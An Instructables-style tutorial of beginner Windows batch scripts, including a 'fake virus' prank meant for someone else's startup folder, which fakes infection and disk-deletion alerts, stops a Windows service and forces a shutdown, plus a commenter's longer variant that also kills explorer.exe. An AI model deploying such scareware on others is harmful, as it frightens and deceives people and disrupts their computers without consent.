Some Cool Batch Applications

476,791

67

196

Introduction: Some Cool Batch Applications

This is my first instructable so no complaining!
I'd like to thank neodudeman for his instructables, they helped a lot.

In this instructable i will show you some pretty nifty applications with batch commands.

If you have any problems or changes to request just send me an e-mail at jbell@live.co.za
Leave any feedback in the comment section below.

Step 1: Batch Calculator

This is...well... a calculator.
just copy and paste into NOTEPAD and save as calculator.bat
the filename is not important but the extension MUST be saved as " .bat "

@echo off
title Batch Calculator by seJma
color 1f
:top
echo --------------------------------------------------------------
echo Welcome to Batch Calculator by seJma
echo --------------------------------------------------------------
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
echo Previous Answer: %ans%
goto top
pause
exit

Step 2: Folder Protector

This is pretty cool as it requests a password for a folder.
Once you copy it into notepad you must insert your own password and designated folder directory into the designated areas!
NB: THERE ARE TWO PLACES IN WHICH YOU MUST ENTER INFO!!!

@echo off
title Folder Password v1.5
color 0a
set /a tries=3
set password=***ENTER YOUR PASSWORD HERE***
:top
echo.
echo ----------------------------------------------
echo.
echo Folder Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, initiating shutdown.
start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED"
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Folder...
echo ----------------------------------------------
explorer ***ENTER FOLDER PATH HERE***
pause

*NOTE: This is not an advanced piece of software, it does not hide or block the destination folder or anything like that so don't get your hopes up.
**Yes, it can now open files with spaces, just use a backslash (\) when typing your filepath.

Step 3: Guessing Game

This is a game in which the computer generates a random number, and you must try to guess it.

@echo off
color 0e
title Guessing Game by seJma
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:top
echo.
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%
goto top
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
pause

*Note: For the backdoor, type "surf33"

Step 4: Site Selector

This is an application that lets you select from a list of sites.
Feel free to add some of your own sites.

@echo off
color 2f
title Site Selector by seJma
:top
echo ***************************************************************
echo.
echo Site Selector
echo.
echo ***************************************************************
echo.
echo Key: [1] Google - Search Engine
echo [2] Hotmail - Mail Server
echo [3] Yahoo - Search Engine/Mail Server
echo [4] Facebook - Social Networking
echo [5] Myspace - Social Networking
echo [6] CNN - News
echo [7] Weather - Weather
echo [8] WikiHow - A How-To Website
echo [9] Instructables - A How-To Website
echo [10] YouTube - Online Videos
echo [11] Answers - Online Encyclopedia
echo [12] Wikipedia - Online Encyclopedia
echo.
echo [e] Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.hotmail.com
if %udefine%==3 start www.yahoo.com
if %udefine%==4 start www.facebook.com
if %udefine%==5 start www.myspace.com
if %udefine%==6 start www.cnn.com
if %udefine%==7 start www.weather.com
if %udefine%==7 start www.wikihow.com
if %udefine%==9 start www.instructables.com
if %udefine%==10 start www.youtube.com
if %udefine%==11 start www.answers.com
if %udefine%==12 start www.wikipedia.com
if %udefine%==e goto exit

cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by seJma
echo.
echo ***************************************************************
echo Type [e] to exit or [b] to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by SEjMA
echo.
echo ***************************************************************
pause
exit

Step 5:

This is a fake virus that I designed, it looks pretty convincing if you put it in someone's startup folder.
NB: this batch starts a "60 second till shutdown" script when its done. to abort shutdown click START>RUN:shutdown -a
NB: this does not do anything harmful or destructive to your computer.

***NEW: I've added an extra command that disables themes to make it look more realistic.
@echo off
color 47
net stop themes >nul
title DEEP VIRAL INFECTION!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
echo IP ADDRESS BREACHED!
echo -
echo VIRUS ATTAINING: ****-****-****-8894
echo -

pause
cls
echo -
echo SCANNING INFECTED AREAS...
echo -

pause

set /a num=0
:repeat1
set /a num=%num% +1
echo %num%
if %num%==100 goto end
goto repeat1
:end
cls
echo -
echo 86.5 PERCENT OF MEMORY INFECTED
echo -
echo INFECTION FATAL!
echo -
echo DELETION OF ENTIRE CONTENTS OF LOCAL DISK C: REQUIRED
echo -

pause
cls
echo -
echo DELETING HARD-DRIVE C:
echo -
dir /s

pause
cls
echo -
echo CONTENTS OF HARD-DRIVE C: ERASED
echo -

pause
cls
echo -
echo SCANNING...
echo -

set /a num1=0
:repeat2
set /a num1=%num1% +1
echo %num1%
if %num1%==100 goto end1
goto repeat2
:end1
cls
echo -
echo 0.00 PERCENT OF HARD-DRIVE INFECTED
echo -
pause

echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR

pause
cls
title SYSTEM FAILURE
color 17
echo ERROR!
echo -
echo VISUAL MEMORY LOST!
echo -
echo RAM LOST!
echo -
echo CORE PROCESSOR FAILING...
echo -
echo TOTAL SYSTEM CRASH IMMINENT!
echo -
echo -

pause
cls
echo -
echo -
echo -
echo SHUTDOWN COMPUTER NOW TO AVOID RISK OF FIRE!
echo -
echo -
echo -

pause
cls
echo -
echo -
echo -
echo SEEK PROFESSIONAL HELP IMMEDIATLY TO PREVENT FURTHER DAMAGE!
echo -
echo -
echo -
pause
start shutdown -s -t 60 -c "SYSTEM FAILURE<SHUTTING DOWN TO AVOID FURTHER DAMAGE!"
**NB: Type "shutdown -a" in your Run box to abort a system shutdown
***Type "net start themes" to in your Run box to get the themes service working

Step 6: Done

Those are some of my applications that I created using notepad.
Remember to save the notepad as yourfilename.bat
PLEASE let me know if any of the applications don't work.
Feel free to edit, change, and do whatever to them.

If you would like help with any of your Batch programs, message me or send me an e-mail at jbell@live.co.za

If you want to try something offline, I recommend getting Learn Batch File Programming! by John Albert, really simple, easy to follow and great if you want to get better!


Happy BATCHing :D

The Instructables Book Contest

Participated in the
The Instructables Book Contest

Be the First to Share

    Recommendations

    • Big and Small Contest

      Big and Small Contest
    • For the Home Contest

      For the Home Contest
    • Game Design: Student Design Challenge

      Game Design: Student Design Challenge

    196 Comments

    0
    LloydZ1
    LloydZ1

    5 years ago

    Do you have to add the "https://" part when entering the website for the website picker???

    0
    lelolp2
    lelolp2

    Reply 3 years ago

    No. Just www.yourwebsite.endingofthewebsite

    0
    Levi a
    Levi a

    4 years ago on Step 1

    the "file protector" dosn't aceppt my passcode

    0
    ItsTime2Split
    ItsTime2Split

    6 years ago

    It doesn't really hide or block the folder, but I know what piece of code you need to insert to make it hide or block the folder hehe XD

    0
    Jreesebot
    Jreesebot

    Reply 4 years ago

    How? Are you able to trigger the protector if the folder is accessed? What code is ised?

    0
    ItsTime2Split
    ItsTime2Split

    Reply 4 years ago

    attrib +h +s <<FOLDER PATH HERE>>

    This basically adds the "Hidden" and "System" attributes, usually hiding the folder from plain sight.

    0
    Jreesebot
    Jreesebot

    Reply 4 years ago

    Thanks. Is it also possible to edit the icon of the protector so it has the folder icon, or do I have to make a shortcut first?

    0
    ItsTime2Split
    ItsTime2Split

    Reply 4 years ago

    Bat2Exe might be what you're looking for.

    0
    Abhishek7890_
    Abhishek7890_

    Question 4 years ago

    In the command shutdown-s-f-t 35-c"text"
    what is the use of - f? Please help

    0
    XtremeB1
    XtremeB1

    4 years ago

    UPDATED VERSION! V2.01

    cls

    @echo off

    dir /s

    echo.

    echo ERROR! LOCAL DISK "C:\" DRIVE NOT FOUND

    nircmd mediaplay 800 "C:\Windows\Media\Windows Hardware Remove.wav"

    cls

    @title SYSTEM ERROR

    ping -n 2 localhost >nus

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    ping -n 3 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    echo - SYSTEM NOT RESPONDING

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    echo - SYSTEM NOT RESPONDING

    echo - REMOTE DEKSTOP INITIATED

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    echo - SYSTEM NOT RESPONDING

    echo - REMOTE DEKSTOP INITIATED

    ping -n 2 localhost >nus

    CLS

    ping -n 4 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo.

    cls

    @echo off

    color 47

    cls

    @title SYSTEM FAILURE Code: 0xf%random%

    ping -n 2 localhost >nus

    echo.

    ECHO =================================================

    ECHO SYSTEM FAILURE Code: 0xf%random%

    ECHO =================================================

    echo.

    echo.

    ping -n 2 localhost >nus

    taskkill /im explorer.exe /f >nus

    ping -n 2 localhost >nus

    echo ERROR!!! Memory Failure String: Oxb1%random%x_mem-001%random%

    ping -n 4 localhost >nus

    echo.

    echo Checking Firewall Status:

    ping -n 4 localhost >nus

    echo Firewall - Not Active

    echo.

    ping -n 3 localhost >nus

    echo Checking Windows Defender Status:

    ping -n 4 localhost >nus

    echo Windows Defender - Error::Unknown Error::00cx%random%::

    ping -n 3 localhost >nus

    echo.

    echo Network Has Been Configured:

    ping -n 6 localhost >nus

    echo User: 你已被黑客入侵 Ip: 192.168.1.2.0

    ping -n 4 localhost >nus

    echo.

    echo USER ATTAINING: ****-****-****-8894

    echo.

    ping -n 4 localhost >nus

    echo SYSTEM FAILURE:

    echo STARTING AUTOMATIC REPAIR PROCEDURES

    ping -n 7 localhost >nus

    cls

    color 0f

    echo Starting Up Automatic Repair...

    ping -n 4 localhost >nus

    echo.

    cls

    echo.

    echo.

    echo Loading Repair.dll...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo Loading Repair.sys...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading MBR.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 2%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls.

    echo.

    echo.

    echo Loading Ntfs.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading fivevol.sys...

    echo ----------------------------------

    echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading disk.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo Loading reset.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 20%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading update.mirror.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 25%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading NETIO.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 40%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading fltmgr.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 45%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading kspeckg.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 50%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading FS_rec.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 55%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.exe...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.dll...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 65%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 70%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading System Information...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 80%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading Memory...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%%

    echo ----------------------------------

    ping -n 8 localhost >nus

    cls

    echo.

    echo.

    echo Loading 拉屎...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%%

    echo ----------------------------------

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo Loading 不...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading 病毒...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    CLS

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 3 localhost >nus

    Echo Now Beginning Scan To Attempt Repairs...

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 2 localhost >nus

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo Scan Complete:

    echo 86.3% PERCENT OF MEMORY DAMAGED

    echo.

    ping -n 3 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo System Will Now Attempt To Repair:

    echo.

    ping -n 3 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    echo.

    echo ERROR ATTEMPTING REPAIR FAILED:

    echo.

    echo ERROR ATTAINING INFORMATION %COMPUTERNAME%, %DATE% AT %TIME%

    ping -n 6 localhost >nus

    cls

    color 0c

    echo REINSTALLATION OF ENTIRE CONTENTS OF LOCAL DISK C: IS REQUIRED

    ping -n 6 localhost >nus

    echo.

    echo PLEASE DO NOT TURN OFF DEVICE DURING THIS OPERATION!

    ECHO.

    :choice

    set /P c=YOU WILL NEED INSTALLATION DISK. DO YOU HAVE INSTALLATION DISK? (Y/N)

    if /I "%c%" EQU "Y" goto :Yes

    if /I "%c%" EQU "N" goto :No

    goto :choice

    :NO

    echo.

    echo UNFORTUNATELY SYSTEM REPAIR CANNOT CONTINUE...

    ECHO.

    ECHO SYSTEM WILL NOW TRY REPAIRING ITSELF AGAIN WITHOUT INSTALLATION DISK:

    ping -n 6 localhost >nus

    CLS

    color 0f

    echo STARTING AUTOMATIC REPAIR PROCEDURES

    ping -n 7 localhost >nus

    cls

    color 0f

    echo Starting Up Automatic Repair...

    ping -n 4 localhost >nus

    echo.

    cls

    echo.

    echo.

    echo Loading Repair.dll...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo Loading Repair.sys...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading MBR.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 2%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls.

    echo.

    echo.

    echo Loading Ntfs.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 5%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading fivevol.sys...

    echo ----------------------------------

    echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 12%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading disk.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo Loading reset.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 19%%

    echo ----------------------------------

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo Loading update.mirror.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 20%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading NETIO.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 35%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading fltmgr.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 42%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading kspeckg.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 50%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading FS_rec.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 55%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.exe...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 61%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.dll...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 66%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 69%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading System Information...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 74%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading Memory...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 83%%

    echo ----------------------------------

    ping -n 8 localhost >nus

    cls

    echo.

    echo.

    echo Loading 拉屎...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 88%%

    echo ----------------------------------

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo Loading 不...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 99%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading 病毒...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    CLS

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 3 localhost >nus

    Echo Now Beginning Scan To Attempt Repairs...

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 2 localhost >nus

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo Scan Complete:

    echo 88.7% PERCENT OF MEMORY DAMAGED

    echo.

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo System Will Now Attempt To Repair:

    echo.

    ping -n 3 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    color 0c

